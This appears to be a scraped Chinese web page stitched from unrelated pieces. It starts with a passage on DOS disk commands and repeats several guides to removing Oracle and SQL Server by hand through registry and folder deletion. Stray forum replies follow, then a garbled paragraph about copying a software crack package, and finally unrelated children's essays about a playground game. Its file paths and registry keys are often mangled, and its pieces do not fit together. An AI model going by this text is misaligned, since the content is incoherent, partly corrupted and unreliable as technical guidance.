（3）选用[/S]参数，将把DOS系统文件IO.SYS、MSDOS.SYS及COMMAND.COM复制到磁盘上，使该磁盘可以做为DOS启动盘。若不选用/S参数，则格式化后的磙盘只能读写信息，而不能做为启动盘； （4）选用[/4]参数，在1.2MB的高密度软驱中格式化360KB的低密度盘； （5）选用[/Q]参数，快速格式化，这个参数并不会重新划分磁盘的磁道貌岸然和扇区，只能将磁盘根目录、文件分配表以及引导扇区清成空白，因此，格式化的速度较快。 （6）选用[/U]参数，表示无条件格式化，即破坏原来磁盘上所有数据。不加/U，则为安全格式化，这时先建立一个镜象文件保存原来的FAT表和根目录，必要时可用UNFORRMAT恢复原来的数据。 （二）UNformAT恢复格式化命令 1．功能：对进行过格式化误操作丢失数据的磁盘进行恢复。 2．类型：外部命令 3．格式：UNformAT〈盘符〉[/L][/U][/P][/TEST] 4．使用说明：用于将被“非破坏性”格式化的磁盘恢复。根目录下被删除的文件或子目录及磁盘的系统扇区（包括FAT、根目录、BOOT扇区及硬盘分区表）受损时，也可以用UNformAT来抢救。 （1）选用/L参数列出找到的子目录名称、文件名称、大孝日期等信息，但不会真的做formAT工作。 （2）选用/P参数将显示于屏幕的报告（包含/L参数所产生的信息）同时也送到打印机。运行时屏幕会显示：“Print out willbe sent to LPT1” （3）选用/TEST参数只做模拟试验（TEST）不做真正的写入动作。使用此参数屏幕会显示：“Simulation only” （4）选用/U参数不使用MIRROR映像文件的数据，直接根据磁盘现状进行UNformAT。 （5）选用/PSRTN；修复硬盘分区表。 若在盘符之后加上/P、/L、/TEST之一，都相当于使用了/U参数，UNformAT会“假设”此时磁盘没有MIRROR映像文件。 注意：UNformAT对于刚formAT的磁盘，可以完全恢复，但formAT后若做了其它数据的写入，则UNformAT就不能完整的救回数据了。UNformAT并非是万能的，由于使用UNformAT会重建FAT与根目录，所以它也具有较高的危险性，操作不当可能会扩大损失，如果仅误删了几个文件或子目录，只需要利用UNDELETE就够了。三） CHKDSK——检查磁盘当前状态命令 1．功能：显示磁盘状态、内存状态和指定路径下指定文件的不连续数目。 2．类型：外部命令 3．格式：CHKDSK [盘符：][路径][文件名][/F][/V] 4．使用说明： （1）选用[文件名]参数，则显示该文件占用磁盘的情况； （2）选[/F]参数，纠正在指定磁盘上发现的逻辑错误； （3）选用[/V]参数，显示盘上的所有文件和路径。 （四）DISKCOPY——整盘复制命令 1．功能：复制格式和内容完全相同的软盘。 2．类型：外部命令 3．格式：DISKCOPY[盘符1：][盘符2：] 4．使用说明： （1）如果目标软盘没有格式化，则复制时系统自动选进行格式化。 （2）如果目标软盘上原有文件，则复制后将全部丢失。 （3）如果是单驱动器复制，系统会提示适时更换源盘和目标盘，请操作时注意分清源盘和目标盘。 （五）LABEL——建立磁盘卷标命令 1．功能：建立、更改、删除磁盘卷标。 2．类型：外部命令 3．格式：LABEL[盘符：][卷标名] 4．使用说明： （1）卷标名为要建立的卷标名，若缺省此参数，则系统提示键入卷标名或询问是否删除原有的卷标名； （2）卷标名由1至11个字符组成。 （六）VOL——显示磁盘卷标命令 1．功能：查看磁盘卷标号。 2．类型：内部命令 3．格式：VOL[盘符：] 4．使用说明：省略盘符，显示当前驱动器卷标。 （七）SCANDISK——检测、修复磁盘命令 1．功能：检测磁盘的FAT表、目录结构、文件系统等是否有问题，并可将检测出的问题加以修复。 2．类型：外部命令 3．格式：SCANDISK[盘符1：]{[盘符2：]…}[/ALL] 4．使用说明： （1）CCANDISK适用于硬盘和软盘，可以一次指定多个磁盘或选用[/ALL]参数指定所有的磁盘； （2）可自动检测出磁盘中所发生的交叉连接、丢失簇和目录结构等逻辑上的错误，并加以修复。 （八）DEFRAG——重整磁盘命令 1．。功能：整理磁盘，消除磁盘碎块。 2．类型：外部命令 相关教程：http://www.softhouse.com.cn/html/200501/2005012608080500004109.html

format fdisk dir cd deltree del md

　　 开始－＞运行 输入SERVICES MSC到服务里 停止所有Oracle服务 　　 开始－＞程序－＞Oracle OraHome －＞Oracle Installation Products－＞ Universal Installer 卸装所有Oracle产品 但Universal Installer本身不能被删除 　　 运行regedit 选择HKEY_LOCAL_MACHINE＼SOFARE＼ORACLE 按del键删除这个入口 　　 运行regedit 选择HKEY_LOCAL_MACHINE＼SYSTEM＼CurrentControlSet＼Services 滚动这个列表 删除所有Oracle入口 　　 运行regedit HKEY_LOCAL_MACHINE＼SYSTEM＼CurrentControlSet＼Services＼Eventlog＼Application 删除所有Oracle入口 　　 我的电脑－＞系统－＞高级－＞环境变量 删除环境变量CLASSPATH和PATH中有关Oracle的设定 　　 从桌面上 STARTUP（启动）组 程序菜单中 删除所有有关Oracle的组和图标 　　 删除＼Program Files＼Oracle目录 　　 重新启动计算机 重起后才能完全删除Oracle所在目录 　　 删除与Oracle有关的文件 选择Oracle所在的缺省目录C ＼Oracle 删除这个入口目录及所有子目录 并从目录（一般为C ＼WINNT）下删除以下文件ORACLE INI oradim INI oradim INI oraodbc ini等等 　　 WIN INI文件中若有[ORACLE]的标记段 删除该段 　　 如有必要 删除所有Oracle相关的ODBC的DSN 　　 到事件查看器中 删除Oracle相关的日志 lishixinzhi/Article/program/Oracle/201311/17527

　　oracle服务项中有不用的服务 应该如何处理呢？下面就为您介绍删除oracle服务项中不用的服务的实现方法 希望对您学习oracle服务项方面能有所帮助 　　管理－－＞oracle服务项里面删不掉的服务可以直接进注册表删除 　　HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservices 　　中找到要删除的删除后重启即可 　　 将不用的服务先禁用 　　 在 运行 中输入 regedit 打开注册表 找到 KEY_LOCAL_MACHINE 下的 SYSTEM 下的 ControlSet ″下的 Services 然后在该目录下找到你要删除的项将其删除即可 　　以上的这些目录是我自己系统中的具体目录 其实只要通过 编辑 下的 查找 找到你所要删除的项 然后确定该项目是在Services目录下并将其删除即可 　　此时 服务项中仍会有该服务 但已发生改变 只要重启下计算机就可将其从服务中彻底删除 　　彻底删除oracle 　　实现方法 　　 开始－＞设置－＞控制面板－＞管理工具－＞服务停止所有Oracle服务 　　 开始－＞程序－＞Oracle OraHome －＞Oracle Installation Products－＞Universal Installer 　　卸装所有Oracle产品 但Universal Installer本身不能被删除 　　 运行regedit 选择HKEY_LOCAL_MACHINESOFAREORACLE 按del键删除这个入口 　　 运行regedit 选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 滚动这个列表 删除所有Oracle入口 　　 运行regedit 　　HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication 　　删除所有Oracle入口 　　 开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量 　　删除环境变量CLASSPATH和PATH中有关Oracle的设定 　　 从桌面上 STARTUP（启动）组 程序菜单中 删除所有有关Oracle的组和图标 　　 删除Program FilesOracle目录 　　 重新启动计算机 重起后才能完全删除Oracle所在目录 　　 删除与Oracle有关的文件 选择Oracle所在的缺省目录C:Oracle 删除这个入 　　口目录及所有子目录 并从Windows 目录（一般为C:WINNT）下删除以下文 　　件ORACLE INI oradim INI oradim INI oraodbc ini等等 　　 WIN INI文件中若有[ORACLE]的标记段 删除该段 　　 如有必要 删除所有Oracle相关的ODBC的DSN 　　 到事件查看器中 删除Oracle相关的日志 　　说明 　　到现在为止 你还是可以发现在服务里面还有oracle的服务存在 必须把他删除 否则你再安装oracle时就会出现什么服务已经存在的错误提示了 而这些服务是在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumRoot下以LEGACY_ORACLE打头的 而且你选种按delete删除时系统会提示你一个错误 不让你删除 现提供具体删除方法 win 的如下 　　运行regedt 注意了 不是regedit 在HKEY_LOCAL_MACHINE那页找到HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumRoot先选中ROOT然后点菜单上的安全 权限把自己添加到里面 并且权限设置为完全控制 确定后再删除ROOT下所有LEGACY_ORACLE打头的键 同样的方法也可以把HKEY_LOCAL_MACHINESYSTEMControlSet 和HKEY_LOCAL_MACHINESYSTEMControlSet 两个下面EnumRoot下所有LEGACY_ORACLE打头的键删除 重新启动计算机可以发现 服务里面的那些都没有了 　　在winXP中就比较简单了 还是运行regedit 找到LEGACY_ORACLE打头的键后右击 选择权限 同样将everyone设置为完全控制就可以删除了 删除后重新启动一下就可以了 lishixinzhi/Article/program/Oracle/201311/18461

作死啊，删除这个干嘛，你直接在c盘搜索这个程序看有没有吧

注册表是不能删除的，换个系统试下吧

oracle10g卸载x0dx0a软件环境：x0dx0ax0dx0a1、WindowsXP+Oracle10gx0dx0ax0dx0a2、Oracle安装路径为：d:Oraclex0dx0ax0dx0a实现方法：x0dx0ax0dx0a1、开始－＞设置－＞控制面板－＞管理工具－＞服务停止所有Oracle服务；x0dx0ax0dx0a2、开始－＞程序－＞Oracle_OraDb10g_home1＞OracleInstallationProducts－＞UniversalInstaller卸装所有Oracle产品，但UniversalInstaller本身不能被删除；x0dx0ax0dx0a3、运行regedit，选择HKEY_LOCAL_MACHINESOFTWAREORACLE，按del键删除这个入口；x0dx0ax0dx0a4、运行regedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices，滚动这个列表，删除所有Oracle入口；x0dx0ax0dx0a5、运行refedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication，删除所有Oracle入口；x0dx0ax0dx0a6、开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量,删除环境变量CLASSPATH和PATH中有关Oracle的设定；x0dx0ax0dx0a7、从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标；x0dx0ax0dx0a8、删除c:ProgramFilesOracle目录；x0dx0ax0dx0a9、重新启动计算机，重起后才能完全删除Oracle所在目录；x0dx0ax0dx0a10、删除与Oracle有关的文件，选择Oracle所在的缺省目录C:Oracle，删除这个入口目录及所有子目录，并从WindowsXP目录（一般为d:WINDOWS）下删除以下文件ORACLE.INI、oradim73.INI、oradim80.INI、oraodbc.ini等等；x0dx0ax0dx0a11、WIN.INI文件中若有[ORACLE]的标记段，删除该段；x0dx0ax0dx0a12、如有必要，删除所有Oracle相关的ODBC的DSN；x0dx0ax0dx0a13、到事件查看器中，删除Oracle相关的日志说明：如果有个别DLL文件无法删除的情况，则不用理会，重新启动，开始新的安装，安装时，选择一个新的目录，则，安装完毕并重新启动后，老的目录及文件就可以删除掉了。

..完全可以而且是垃圾文件

由于一些其他问题，Windows系统重装，导致python打包失败。查看原因，是因为pyinstaller不支持多个python版本。简单粗暴解决办法，删除多余的版本。删除方法一，使用安装包删除 删除方法二：删除安装文件，删除环境变量 but，dos上还是可以访问python3.8，这是什么情况？？？ 在dos上输入where python 找到路径，并删除，ok

CD C:Progra~1

Oracle数据库卸载步骤：1、关闭oracle所有的服务。可以在windows的服务管理器中关闭；2、打开注册表：regedit 打开路径：HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 删除该路径下的所有以oracle开始的服务名称，这个键是标识Oracle在windows下注册的各种服务！3、打开注册表，找到路径：HKEY_LOCAL_MACHINESOFTWAREORACLE 删除该oracle目录，该目录下注册着Oracle数据库的软件安装信息。4、删除注册的oracle事件日志，打开注册表 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication 删除注册表的以oracle开头的所有项目。5、删除环境变量path中关于oracle的内容。 鼠标右键右单击“我的电脑-->属性-->高级-->环境变量-->PATH 变量。 删除Oracle在该值中的内容。注意:path中记录着一堆操作系统的目录，在windows中各个目录之间使用分号（;）隔开的，删除时注意。 建议：删除PATH环境变量中关于Oracle的值时，将该值全部拷贝到文本编辑器中，找到对应的Oracle的值，删除后，再拷贝修改的串，粘贴到PATH环境变量中，这样相对而言比较安全。6、重新启动操作系统。以上1~5个步骤操作完毕后，重新启动操作系统。7、重启操作系统后各种Oracle相关的进程都不会加载了。这时删除Oracle_Home下的所有数据。（Oracle_Home指Oracle程序的安装目录）8、删除C:Program Files下oracle目录。 （该目录视Oracle安装所在路径而定）9、删除开始菜单下oracle项，如： C:Documents and SettingsAll Users「开始」菜单程序Oracle - Ora10g 不同的安装这个目录稍有不同。 如果不删除开始菜单下的Oracle相关菜单目录，没关系，这个不影响再次安装Oracle.当再次安装Oracle时，该菜单会被替换。Windows平台下Oracle就彻底卸载了

　SQLServer正常情况下可以通过添加删除将其卸载，但有时可能会出现一些不可遇见的原因，　　导致其不能自动卸载，就需要手工卸载，在手工卸载前要注意做好数据的备份工作，以便于　　以后做还原，卸载SQLServer包括两个方面：　　第一，程序文件和数据文件的卸载。如果SQLServer是默认安装，程序文件和数据文件在同一　　路径下，如下：　　　　　　　找到后将整个MicrosoftSQLServer文件夹全部删除掉。　　　若不是在同一路径下，程序文件路径如下：　　　　　　将整个MicrosoftSQLServer文件夹删除掉，再找到相对应的数据文件夹MSSQL进行删除。　　第二，注册表信息的删除。　　【开始】->【运行】->输入regedit，点开HKEY_LOCAL_MACHINE->software->microsoft，　　找到microsoftSQLServer和MSSQLServer，如下：　　　　　　右击这两个文件选择删除，关闭注册表，然后重新启动电脑就可以了。如何彻底删除Oracle？软件环境：　　1、Windows2000+ORACLE8.1.7　　2、ORACLE安装路径为：C:ORACLE　　实现方法：　　1、开始－＞设置－＞控制面板－＞管理工具－＞服务　　停止所有Oracle服务。　　2、开始－＞程序－＞Oracle-OraHome81－＞OracleInstallationProducts－＞　　UniversalInstaller　　卸装所有Oracle产品，但UniversalInstaller本身不能被删除　　5、运行regedit，选择HKEY_LOCAL_MACHINESOFTWAREORACLE，按del键删除这个入口。　　6、运行regedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices，滚动　　这个列表，删除所有Oracle入口。　　7、运行refedit，　　HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication，　　删除所有Oracle入口。　　8、开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量　　删除环境变量CLASSPATH和PATH中有关Oracle的设定　　9、从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标　　10、删除ProgramFilesOracle目录　　11、重新启动计算机，重起后才能完全删除Oracle所在目录　　12、删除与Oracle有关的文件，选择Oracle所在的缺省目录C:Oracle，删除这个入　　口目录及所有子目录，并从Windows2000目录（一般为C:WINNT）下删除以下文　　件ORACLE.INI、oradim73.INI、oradim80.INI、oraodbc.ini等等。　　13、WIN.INI文件中若有[ORACLE]的标记段，删除该段　　14、如有必要，删除所有Oracle相关的ODBC的DSN　　15、到事件查看器中，删除Oracle相关的日志　　说明：　　如果有个别DLL文件无法删除的情况，则不用理会，重新启动，开始新的安装，　　安装时，选择一个新的目录，则，安装完毕并重新启动后，老的目录及文件就可以删除掉了

重新export 下嘛

　　可以完整的删除Oracle products Oracle services和注册表信息 　　　　当然是很少情况下才想到删除oracle 只有确定真的不用的时候才做 　　如果需要请备份所有相关的文件 　　（下面操作假设是使用OFA结构） 　　NT环境下 　　 以NT的Administrator 登陆 　　 通过控制面版 〉服务 停掉所有ORACLE服务 　　 打开注册表（REGEDIT命令） 删除 　　　 HKEY_LOCAL_MACHINESOFAREORACLE 　　 打开注册表中的 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 　　　　　 删除以ORACLE开头的所有服务 　　 删除HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventLogA 　　pplication下 　　　 以ORACLE开头的所有服务 　　 关闭REGEDIT 　　 打开控制面版 〉系统 〉环境变量 　　 如果ORACLE安装了JRE 就删除%ORACLE_HOME%BIN和JRE路径 　　　 比如 ORACLEORA BIN;G: Program FilesOraclejre in 　　 删除WinntProfilesAll UsersStart MenuProgramsOracle 和 　　　 WinntProfilesAll UsersStart MenuProgramsOracle 　　 删除Program FilesOracle 　　 重新启动机器 　　 删除所有ORACLE目录（在注册表HKEY_LOCAL_MACHINESOFAREORACLEORA 　　CLE_HOMES下） 　　　　在 Windows / Windows : 　　　　 打开注册表HKEY_LOCAL_MACHINESOFAREORACLE 　　　　 删除前面步骤中的第 步中的ORACLE 　　　　 删除AUTOEXEC BAT 中的 %ORACLE_HOME%in 和 JRE 　　　　 删除所有ORACLE目录 　　　　 Program FilesOracle 　　　　 WindowsStart MenuProgramsOracle <HOME> 　　　　　　WindowsStartMenuProgramsOracle 　　　　 重新启动　　　　 删除Oracle 　　软件环境 Windows +ORACLE 　　　　　　　　 ORACLE安装路径为 C:ORACLE 　　实现方法 　　 开始－＞设置－＞控制面板－＞管理工具－＞服务 停止所有Oracle服务 　　 开始－＞程序－＞Oracle OraHome －＞Oracle Installation Products－＞Universal Installer 卸装所有Oracle产品 但Universal Installer本身不能被删除 　　 运行regedit 选择HKEY_LOCAL_MACHINESOFAREORACLE 按del键删除这个入口 　　 运行regedit 选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 滚动这个列表 删除所有Oracle入口 　　 运行regedit HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication 删除所有Oracle入口 　　 开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量 删除环境变量CLASSPATH和PATH中有关Oracle的设定 　　 从桌面上 STARTUP（启动）组 程序菜单中 删除所有有关Oracle的组和图标 　　 删除Program FilesOracle目录 　　 重新启动计算机 重起后才能完全删除Oracle所在目录 　　 删除与Oracle有关的文件 选择Oracle所在的缺省目录C:Oracle 删除这个入口目录及所有子目录 并从Windows 目录（一般为C:WINNT）下删除以下文件ORACLE ini oradim ini oradim ini oraodbc ini等等 　　 WIN INI文件中若有[ORACLE]的标记段 删除该段 　　 如有必要 删除所有Oracle相关的ODBC的DSN 　　 到事件查看器中 删除Oracle相关的日志 　　说明 　　如果有个别DLL文件无法删除的情况 则不用理会 重新启动 开始新的安装 　　安装时 选择一个新的目录 则 安装完毕并重新启动后 老的目录及文件就可以删除掉了 　　　　 删除Oracle 　　如果需要卸载Oracle 请运行安装光盘上的安装文件Setup exe 在 欢迎 窗口中 选择 卸装产品 按钮 进入 Invertory 目录 窗口 在该窗口中选择需要删除的产品（在产品名称前面的方框内打上在标记√） 然后单击 删除 按钮即可 或者直接在开始菜单中找到Oracle for NT程序组下的Oracle installer 同样可以卸载Oracle 　　卸载Oracle产品后 在系统的注册表内仍然有相关信息 您可以参考以下方法进行手工删除 　　注意 对注册表的操作可能对系统产生严重影响 请在操作前进行备份 以便在系统异常时恢复到原来的注册表 该操作请参考Windows系统的相关说明 　　运行RegEdit 在 HKEY_CURRENT_USERSofare HKEY_LOCAL_MACHINESofare HKEY_LOCAL_MACHINESystemCurrentControlSetServices 主键中删除所有的Oracle入口（如果找到的话） 然后重新启动计算机 如一切正常 则修改完成 如启动有错误 可能您对注册表的修改出错 运行RegEdit 将备份的注册表项目导入 如果误删了注册表中的 Microsoft ODBC for Oracle 可用以下方法恢复 　　将 HKEY_LOCAL_MACHINEsofareMicrosoftDataAccess 中的Version的值由 a 改为 a 然后重新安装财务软件 安装程序会自动安装 MADC 并恢复 Microsoft ODBC for Oracle （对Windows / 请立即进入Dos方式 将备份的system dat文件（如system bak）复制回system dat） 　　（对Windows NT 如启动失败 请重新启动计算机 在提示下 按空格键启动 硬件配置文件/已知的最新正确配置 菜单 该菜单将注册表还原到稳定状态 按照屏幕上的指示操作 可以将注册表还原为上次成功启动时的状态 ） lishixinzhi/Article/program/Oracle/201311/18033

2、开始－＞程序－＞Oracle - OraHome81－＞Oracle Installation Products－＞ Universal Installer 卸装所有Oracle产品， 但Universal Installer本身不能被删除 3、运行regedit，选择 HKEY_LOCAL_MACHINE－＞SOFTWAREORACLE，按del键删除这个入口。 4、运行regedit，选择 HKEY_LOCAL_MACHINE－＞SYSTEM－＞CurrentControlSet－＞Services，滚动 这个列表，删除所有Oracle入口。 5、运行refedit，选择 HKEY_LOCAL_MACHINE－＞SYSTEM－＞CurrentControlSet－＞Services－＞Eventlog－＞Application，删除所有Oracle入口。 6、开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量 删除环境变量CLASSPATH和PATH中有关Oracle的设定 7、从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标 8、删除Program FilesOracle目录 9、重新启动计算机，重起后才能完全删除Oracle所在目录 10、删除与Oracle有关的文件，选择Oracle所在的缺省目录C：Oracle，删除这个入口目录及所有子目录，并从Windows 2000目录（一般为C：WINNT）下删除以下文 件ORACLE.INI、oradim73.INI、oradim80.INI、oraodbc.ini等等。 11、WIN.INI文件中若有[ORACLE]的标记段，删除该段 12、如有必要，删除所有Oracle相关的ODBC的DSN 13、到事件查看器中，删除Oracle相关的日志

见附件就是卸载方案，我经常用这个的。

360安全卫士试试？

1.停止所有与ORACLE相关的服务。 2. 使用OUI（Oracle Universal Installer）卸载Oracle软件。 “开始” －＞“程序” －＞“Oracle-OraDb110g_home1|Oracle installation product|Universal installer. 3.删除注册表内容。 运行regedit命令，删除下面内容：a.HKEY_CLASSES_ROOT，删除此键下所有以Ora，Oracle，Orcl，EnumOra 为前缀的键;b. LOCAL_MACHINESYSTEMCurrentControlSetServices，删除以Oracle或OraWeb为前缀的键; c.HKEY_LOCAL_MACHINESOFTWAREORACLE注册表键，删除此键; d.HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices，删除Services键下所有以oracle为首的键;e.HKEY_LOCAL_MACHINE SYSTEM ControlSet001services所有oracle的服务，按del键删除掉;f.HKEY_LOCAL_MACHINE SYSTEM ControlSet002services所有oracle的服务，按del键删除掉;g.HKEY_LOCAL_MACHINE SYSTEM ControlSet003services所有oracle的服务，按del键删除掉;h.HKEY_LOCAL_MACHINE SYSTEM ControlSetservices所有oracle的服务，按del键删除掉;i.HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication， 删除此键下所有以oracle为首的键; j.HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerMenuOrderStart MenuPrograms， 删除此键下所有以oracle为首的键;k.HKEY_LOCAL_MACHINESOFTWAREODBCODBCINST.INI注册表键，删除了Microsoft ODBC FOR ORACLE注册表键以外的所有有Oracle字样的键值。 4. 删除环境变量。 删除环境变量CLASSPATH和PATH中含有Oracle字样的值。 “我的电脑” －＞“属性” －＞“高级” －＞“环境变量” 。5.在文件系统内删除ORACLE相关的文件及目录：a.删除系统盘符：在C盘的Progrm Files下删除Oracle有关的目录；在C盘的根目录下删除ORACLE有关的目录。b.删除C盘下有个WINNT文件夹，里面有ORACLEM73.INI,ORACLE 80.INI等文件夹；d．找到WIN.INI文件夹，删除ORACLE有关的文件；c. 删除你所安装下的目录；6.到“管理工具”里，在“事件查看器”里删除有关ORACLE的文件。7.重启电脑就可以，之前删除不了的文件就可以删除掉了。不过有些文件是没有。找不到就不用删了。

打开方式不正确 从我的电脑右键 属性 高级系统设置 高级 环境变量 这个路线进入 就可以删除了

看见就删掉，没看见就别理它

http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/ntcmds.mspx?mfr=truewindows 网站里的解释所有DOS命令。还有些其它的不是是英文就是了。

删除环境变量中与ansys相关的东西。当我们在手机软件市场上搜索软件，根据页面上的提示，一步步安装好程序后，同时需要把破解包复制到相关的安装目录。当我们把程序和破解包都安装好，在手机页面点击对应的APP的图标，然后在许可证服务器安装路径中根据文件会生成符合自己机器的标识，就可以加载虚拟光驱。

【篇一】小学生四年级老鹰捉小鸡作文400字 　　我们学校游戏课上玩过很多种游戏，但是我最喜欢老鹰捉小鸡。 　　首先我们要找出一位同学做老鹰，然后找出一位同学当鸡妈妈，再找出5位同学当小鸡，我就是其中一只小鸡，鸡妈妈在第一个小鸡们必须都跟在鸡妈妈的后面不许乱跑，只要鸡妈妈带着小鸡一蹲下，老鹰就不能再捉了，否则就是违反游戏规则，违反者将被淘汰。 　　游戏开始了。老鹰飞快地奔向小鸡。它张牙舞爪的样子好可怕，勇敢的鸡妈妈张开它大大的翅膀来保护小鸡。这样来来回回大战了好几个回合，我们还是没有分出胜负。老鹰累得气喘吁吁，鸡妈妈却一点都不累，老鹰眼看一只小鸡都没捉到眼珠骨碌一转，想到一个坏主意，它先向右边跑了两步，又立刻掉头向左跑，鸡妈妈一个疏忽，最后一只小鸡被老鹰捉到了。被捉到的小鸡也变成了老鹰。两只老鹰一个在左一个在右，鸡妈妈在两面夹攻下败下阵来，不一会儿小鸡都被他们捉光了。 　　时间一分一秒地过去了，很快下课铃声响了，大家都依依不舍的回到了教室。 　　老鹰捉小鸡真的太好玩了，它不仅给我们带来了许许多多的快乐，还让我们明白了一个道理，团队精神是很重要的。 【篇二】小学生四年级老鹰捉小鸡作文400字 　　今天我们玩了老鹰捉小鸡。 　　游戏是这样的：一个人当老鹰，一个人当母鸡，剩下的人当小鸡。“老鹰”要捉住小鸡，“母鸡”则要保护自己的“孩子”，“小鸡”都拉着前面一个人的衣服，被“老鹰”抓到可就出局了。 　　经过黑白配，小王当“老鹰”，小李当“母鸡”，我呢，就是一只“小鸡”。我紧张得要死：我跑得这么慢，可“老鹰”小王是我们班跑得最快的，我肯定完了。 　　游戏开始了，我紧紧拉着前面同学的衣服，生怕自己出局。“老鹰”可狡猾了，他先放慢脚步，让“母鸡”放下警惕。然后他在“母鸡”没注意的时候突然向最后一只“陈小鸡”扑去，用“爪子”抓住地面，不让小陈动，大叫：“出局！”我更紧张了：连小陈都被扑倒了还不放过，天哪！ 　　第二回，“老鹰”每次放慢脚步“母鸡”都盯着他，“老鹰”又打起了新主意。“老鹰”往左跑，“母鸡”也往左拦，而“小鸡”一半在左边，另一半还没来得及往左跑。就这时，“老鹰”以迅雷不及掩耳之速向右边的“小鸡”冲了过去，一下子就把队伍弄断了。我吓坏了，我后面只剩一个人了，不久，她在换方向时被抓，我成了最后一只“小鸡”，我吸取了其他“小鸡”的经验，一直盯着“老鹰”，躲在他后面。果然，我一直没有背抓住。 　　游戏结束了，我依旧没有被抓住。我想：我们一定要注意观察，吸取别的经验。 【篇三】小学生四年级老鹰捉小鸡作文400字 　　“叮铃铃……”下课了，同学们像快活的小鸟飞出了教室，一起玩老鹰抓小鸡的游戏。 　　我当“老鹰”，曾勇潮当“母鸡”，其他同学当“小鸡”。分工完毕，游戏正式开始了。“鸡娃娃们”一个紧接一个的拉着小伙伴的衣角，生怕落队成为老鹰的午餐。我装作漫不经心的样子，突然猛一转身，向着“小鸡”扑了过去，“鸡妈妈”见状大吃一惊，张开了他的双翅，迅速挡住了我的去路，机警地保护自己的孩子们。我很失望，但是我没有放弃寻找机会。终于，我趁“鸡妈妈”放松警惕，看准了时机，一冲过去，抓住了最后面的一个小鸡。第一个回合，我胜出了。 　　第二回合中，勇潮当“老鹰”，我当“小鸡”。刚开始他就兴冲冲的想跑到母鸡的后面，可是他一脚踩空摔倒在地上，哈哈，我们所有“小鸡”都笑了，我还脱离了队伍。突然他猛地一下从地上爬了起来，吓得我赶紧回到了“母鸡”的环抱。这下他把目标放在了另一个小鸡的身上，猛地一冲，抓住了一只“小鸡”，这一回合他赢了。 　　下课铃响了，可同学们还沉浸在快乐的气氛当中。从这个游戏中我知道了，面对坏人不能放松警惕，不要被他的外表所迷惑，否则会造成很严重的后果。 【篇四】小学生四年级老鹰捉小鸡作文400字 　　一下课，所有小朋友都拥到操场上。我在操场中央喊道：“谁要玩老鹰捉小鸡的游戏？要玩的都到我这里来！”许多同学像潮水一般地涌了上来。 　　同学们都让我当老鹰，我心里想：是不是我平时跑步比较快，这样去追他们比较刺激？我没有推辞，而是自信满满地来抓小鸡了。 　　我高声喊道：“游戏开始！”紧接着，就像爸爸教我的那样，一直往前冲，再用手去抓他们。他们一看到我，就被我的表情吓得连忙跑起来了，因为我的表情很凶，可能比真正的老鹰还要凶。 　　我有一种好方法对付鸡妈妈。那就是和鸡妈妈两个人眼瞪眼，哦，差点忘了告诉你，这里还有个要求，就是你得有足够的耐心，瞪着，瞪着，当你发现鸡妈妈稍稍有点泄气了，那你就要注意了，要选好机会，突然扑上去，你就能一手抓一只小鸡了。哈哈，我今天就是用这种方法抓了许多只小鸡。 　　我还有一种专门对付小鸡的方法。有时候小鸡会手足无措地跑走，这时，我就会立马追过去，但我不会从他后面扑上去，因为我觉得这样太危险了，弄不好会把同学推倒在地，我是从侧面猛追过去，然后用手一钩，就轻而易举地把他抓住了。 　　我们玩得很开心，直到上课铃声响了起来……

今天的体育课上，我们在操场上玩起了“老鹰捉小鸡”的游戏，真是有趣极了。　　老师讲完游戏规则后，我们就分小队开始了游戏。游戏开始了，首先由动作灵敏的鲍中宇当“老鹰”，胖胖的张焱当“母鸡”，其他的同学则是“小鸡”了，我也是一只调皮的“小鸡”哦！分 工完毕，游戏正式开始了。“鸡娃娃”们一个接一个紧紧地拉着小伙伴的衣角，生怕落队，成为“老鹰”的盘中餐。“老鹰”的动作可真是灵敏，只见他展开双翅，一会儿扑到东，一会儿扑到西。“母 鸡”也不甘示弱，左躲右闪地保护着小鸡，害得“老鹰”一只小鸡也没有捉到手。一连几次，“老鹰”有点灰心了，只见他停下来，垂头丧气地说：“我可真没用，看来今天又得饿肚子了。”“母鸡” 听了，便放松了警惕，双手叉腰，大口大口地喘起粗气来。说时迟，那时快，就在这时，“老鹰”突然扑向了“鸡群”。原来“老鹰”是在搞“突然袭击”。小鸡们顿时乱成一团，不知所措，“老鹰” 趁虚而入，一把就抓住了我这只又肥又大的“小鸡”。真是天大的不幸，我只好离开了“鸡群”。　　下课铃响了，同学们还沉浸在欢乐中。这个游戏真是太有趣了！

